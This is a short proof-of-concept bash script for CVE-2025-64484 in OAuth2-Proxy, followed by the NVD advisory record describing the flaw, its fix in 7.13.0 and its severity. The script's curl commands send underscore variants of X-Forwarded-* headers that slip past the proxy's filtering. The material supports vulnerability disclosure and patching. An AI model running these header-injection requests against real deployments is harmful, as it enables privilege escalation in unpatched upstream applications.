CVE-2025-64484

#!/bin/bash # CVE-2025-64484 PoC - HTTP Header Injection via Underscore Normalization # This PoC demonstrates the header bypass vulnerability in OAuth2-Proxy < 7.13.0 TARGET_URL="https://vulnerable-oauth2-proxy.example.com/oauth2/callback" OAUTH2_PROXY_HOST="vulnerable-oauth2-proxy.example.com" # Normal request (OAuth2-Proxy strips this header) echo "[+] Sending request with dash-format X-Forwarded-For (blocked by OAuth2-Proxy):" curl -k -s -o /dev/null -w "%{http_code}" \ -H "X-Forwarded-For: 10.0.0.1" \ "${TARGET_URL}" # Bypassed request (OAuth2-Proxy does NOT strip this header due to underscore) echo -e "\n[+] Sending request with underscore-format X_Forwarded_For (bypasses OAuth2-Proxy):" curl -k -s -o /dev/null -w "%{http_code}" \ -H "X_Forwarded_For: 10.0.0.1" \ -H "X_Forwarded_Host: malicious.example.com" \ -H "X_Forwarded_Proto: https" \ "${TARGET_URL}" echo -e "\n[+] Exploit complete - headers bypass OAuth2-Proxy filtering"

{"cve": {"id": "CVE-2025-64484", "sourceIdentifier": "[email protected]", "published": "2025-11-10T22:15:37.490", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "OAuth2-Proxy is an open-source tool that can act as either a standalone reverse proxy or a middleware component integrated into existing reverse proxy or load balancer setups. In versions prior to 7.13.0, all deployments of OAuth2 Proxy in front of applications that normalize underscores to dashes in HTTP headers (e.g., WSGI-based frameworks such as Django, Flask, FastAPI, and PHP applications). Authenticated users can inject underscore variants of X-Forwarded-* headers that bypass the proxy’s filtering logic, potentially escalating privileges in the upstream app. OAuth2 Proxy authentication/authorization itself is not compromised. The problem has been patched with v7.13.0. By default all specified headers will now be normalized, meaning that both capitalization and the use of underscores (_) versus dashes (-) will be ignored when matching headers to be stripped. For example, both `X-Forwarded-For` and `X_Forwarded-for` will now be treated as equivalent and stripped away. For those who have a rational that requires keeping a similar looking header and not stripping it, the maintainers introduced a new configuration field for Headers managed through the AlphaConfig called `InsecureSkipHeaderNormalization`. As a workaround, ensure filtering and processing logic in upstream services don't treat underscores and hyphens in Headers the same way."}, {"lang": "es", "value": "OAuth2-Proxy es una herramienta de código abierto que puede funcionar como un proxy inverso independiente o como un componente de middleware integrado en configuraciones de proxy inverso o balanceador de carga existentes. En versiones anteriores a la 7.13.0, todas las implementaciones de OAuth2 Proxy delante de aplicaciones que normalizan los guiones bajos a guiones en los encabezados HTTP (por ejemplo, frameworks basados en WSGI como Django, Flask, FastAPI y aplicaciones PHP). Los usuarios autenticados pueden inyectar variantes con guion bajo de los encabezados X-Forwarded-* que eluden la lógica de filtrado del proxy, lo que podría escalar privilegios en la aplicación upstream. La autenticación/autorización de OAuth2 Proxy en sí misma no está comprometida. El problema ha sido parcheado con la v7.13.0. Por defecto, todos los encabezados especificados ahora serán normalizados, lo que significa que tanto la capitalización como el uso de guiones bajos (_) frente a guiones (-) serán ignorados al hacer coincidir los encabezados a eliminar. Por ejemplo, tanto 'X-Forwarded-For' como 'X_Forwarded-for' ahora serán tratados como equivalentes y eliminados. Para aquellos que tienen una razón que requiere mantener un encabezado de apariencia similar y no eliminarlo, los mantenedores introdujeron un nuevo campo de configuración para los encabezados gestionados a través de AlphaConfig llamado 'InsecureSkipHeaderNormalization'. Como solución alternativa, asegúrese de que la lógica de filtrado y procesamiento en los servicios upstream no trate los guiones bajos y los guiones en los encabezados de la misma manera."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-644"}]}], "references": [{"url": "https://datatracker.ietf.org/doc/html/rfc2616#section-4.2", "source": "[email protected]"}, {"url": "https://datatracker.ietf.org/doc/html/rfc822#section-3.2", "source": "[email protected]"}, {"url": "https://github.com/oauth2-proxy/oauth2-proxy/security/advisories/GHSA-vjrc-mh2v-45x6", "source": "[email protected]"}, {"url": "https://github.security.telekom.com/2020/05/smuggling-http-headers-through-reverse-proxies.html", "source": "[email protected]"}, {"url": "https://www.uptimia.com/questions/why-are-http-headers-with-underscores-dropped-by-nginx", "source": "[email protected]"}]}}